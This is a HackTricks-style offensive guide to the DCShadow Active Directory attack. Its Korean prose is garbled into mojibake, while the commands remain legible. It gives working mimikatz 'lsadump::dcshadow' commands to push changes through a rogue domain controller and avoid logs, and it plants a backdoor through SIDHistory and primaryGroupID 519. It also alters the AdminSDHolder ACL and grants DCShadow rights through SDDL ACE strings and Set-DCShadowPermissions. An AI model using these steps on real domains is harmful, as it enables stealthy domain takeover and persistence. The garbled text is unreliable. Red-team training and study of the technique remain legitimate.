Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
DCShadow
AD์ ์ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ๋ฅผ ๋ฑ๋กํ๊ณ ์ด๋ฅผ ์ฌ์ฉํ์ฌ ์ง์ ๋ ๊ฐ์ฒด์ ์์ฑ(SIDHistory, SPNsโฆ)์ ํธ์ํฉ๋๋ค. ์ด ๊ณผ์ ์์ ์์ ์ ๋ํ ๋ก๊ทธ๊ฐ ๋จ์ง ์์ต๋๋ค. DA ๊ถํ์ด ํ์ํ๋ฉฐ ๋ฃจํธ ๋๋ฉ์ธ ๋ด์ ์์ด์ผ ํฉ๋๋ค.
์๋ชป๋ ๋ฐ์ดํฐ๋ฅผ ์ฌ์ฉํ๋ฉด ๊ฝค ๋์ฐํ ๋ก๊ทธ๊ฐ ๋ํ๋ ์ ์์ต๋๋ค.
๊ณต๊ฒฉ์ ์ํํ๋ ค๋ฉด 2๊ฐ์ mimikatz ์ธ์คํด์ค๊ฐ ํ์ํฉ๋๋ค. ๊ทธ ์ค ํ๋๋ SYSTEM ๊ถํ์ผ๋ก RPC ์๋ฒ๋ฅผ ์์ํ๋ฉฐ(์ฌ๊ธฐ์ ์ํํ ๋ณ๊ฒฝ ์ฌํญ์ ์ง์ ํด์ผ ํจ), ๋ค๋ฅธ ์ธ์คํด์ค๋ ๊ฐ์ ํธ์ํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค:
!+
!processtoken
lsadump::dcshadow /object:username /attribute:Description /value="My new description"
lsadump::dcshadow /push
**elevate::token**๋ mimikatz1 ์ธ์
์์ ์๋ํ์ง ์์ผ๋ฉฐ, ์ด๋ ์ค๋ ๋์ ๊ถํ์ ์์น์ํค์ง๋ง ํ๋ก์ธ์ค์ ๊ถํ์ ์์น์์ผ์ผ ํฉ๋๋ค.
๋ํ โLDAPโ ๊ฐ์ฒด๋ฅผ ์ ํํ ์ ์์ต๋๋ค: /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local
DA ๋๋ ์ต์ํ์ ๊ถํ์ ๊ฐ์ง ์ฌ์ฉ์๋ก๋ถํฐ ๋ณ๊ฒฝ ์ฌํญ์ ํธ์ํ ์ ์์ต๋๋ค:
- ๋๋ฉ์ธ ๊ฐ์ฒด์์:
- DS-Install-Replica (๋๋ฉ์ธ์์ ๋ณต์ ๋ณธ ์ถ๊ฐ/์ ๊ฑฐ)
- DS-Replication-Manage-Topology (๋ณต์ ํ ํด๋ก์ง ๊ด๋ฆฌ)
- DS-Replication-Synchronize (๋ณต์ ๋๊ธฐํ)
- ๊ตฌ์ฑ ์ปจํ ์ด๋์ ์ฌ์ดํธ ๊ฐ์ฒด(๋ฐ ๊ทธ ์์):
- CreateChild and DeleteChild
- DC๋ก ๋ฑ๋ก๋ ์ปดํจํฐ์ ๊ฐ์ฒด:
- WriteProperty (Not Write)
- ๋์ ๊ฐ์ฒด:
- WriteProperty (Not Write)
Set-DCShadowPermissions๋ฅผ ์ฌ์ฉํ์ฌ ๋น๊ถํ ์ฌ์ฉ์์๊ฒ ์ด๋ฌํ ๊ถํ์ ๋ถ์ฌํ ์ ์์ต๋๋ค(์ด๋ก ์ธํด ์ผ๋ถ ๋ก๊ทธ๊ฐ ๋จ์ต๋๋ค). ์ด๋ DA ๊ถํ์ ๊ฐ๋ ๊ฒ๋ณด๋ค ํจ์ฌ ๋ ์ ํ์ ์
๋๋ค.
์๋ฅผ ๋ค์ด: Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose ์ด๋ mcorp-student1 ๋จธ์ ์ ๋ก๊ทธ์ธํ ์ฌ์ฉ์ ์ด๋ฆ _student1_์ด ๊ฐ์ฒด _root1user_์ ๋ํด DCShadow ๊ถํ์ ๊ฐ๋๋ค๋ ๊ฒ์ ์๋ฏธํฉ๋๋ค.
DCShadow๋ฅผ ์ฌ์ฉํ์ฌ ๋ฐฑ๋์ด ์์ฑํ๊ธฐ
lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519
lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519
#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
#Second, add to the ACE permissions to your user and push it using DCShadow
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>
Shadowception - DCShadow๋ฅผ ์ฌ์ฉํ์ฌ DCShadow ๊ถํ ๋ถ์ฌ (์์ ๋ ๊ถํ ๋ก๊ทธ ์์)
๋ค์ ACE๋ฅผ ์ฌ์ฉ์ SID๋ก ๋์ ์ถ๊ฐํด์ผ ํฉ๋๋ค:
- ๋๋ฉ์ธ ๊ฐ์ฒด์์:
(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)- ๊ณต๊ฒฉ์ ์ปดํจํฐ ๊ฐ์ฒด์์:
(A;;WP;;;UserSID) - ๋์ ์ฌ์ฉ์ ๊ฐ์ฒด์์:
(A;;WP;;;UserSID) - ๊ตฌ์ฑ ์ปจํ
์ด๋์ ์ฌ์ดํธ ๊ฐ์ฒด์์:
(A;CI;CCDC;;;UserSID)
๊ฐ์ฒด์ ํ์ฌ ACE๋ฅผ ๊ฐ์ ธ์ค๋ ค๋ฉด: (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=local")).psbase.ObjectSecurity.sddl
์ด ๊ฒฝ์ฐ ์ฌ๋ฌ ๋ณ๊ฒฝ์ ํด์ผ ํ๋ฏ๋ก, mimikatz1 ์ธ์
(RPC ์๋ฒ)์์ ๋ณ๊ฒฝํ๋ ค๋ ๊ฐ ๋ณ๊ฒฝ์ ๋ํด /stack ๋งค๊ฐ๋ณ์๋ฅผ ์ฌ์ฉํด์ผ ํฉ๋๋ค. ์ด๋ ๊ฒ ํ๋ฉด, ๋ชจ๋ ์คํ๋ ๋ณ๊ฒฝ์ ์ํํ๊ธฐ ์ํด **/push**๋ฅผ ํ ๋ฒ๋ง ์ฌ์ฉํ๋ฉด ๋ฉ๋๋ค.
DCShadow์ ๋ํ ๋ ๋ง์ ์ ๋ณด๋ ired.team์์ ํ์ธํ์ธ์.
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


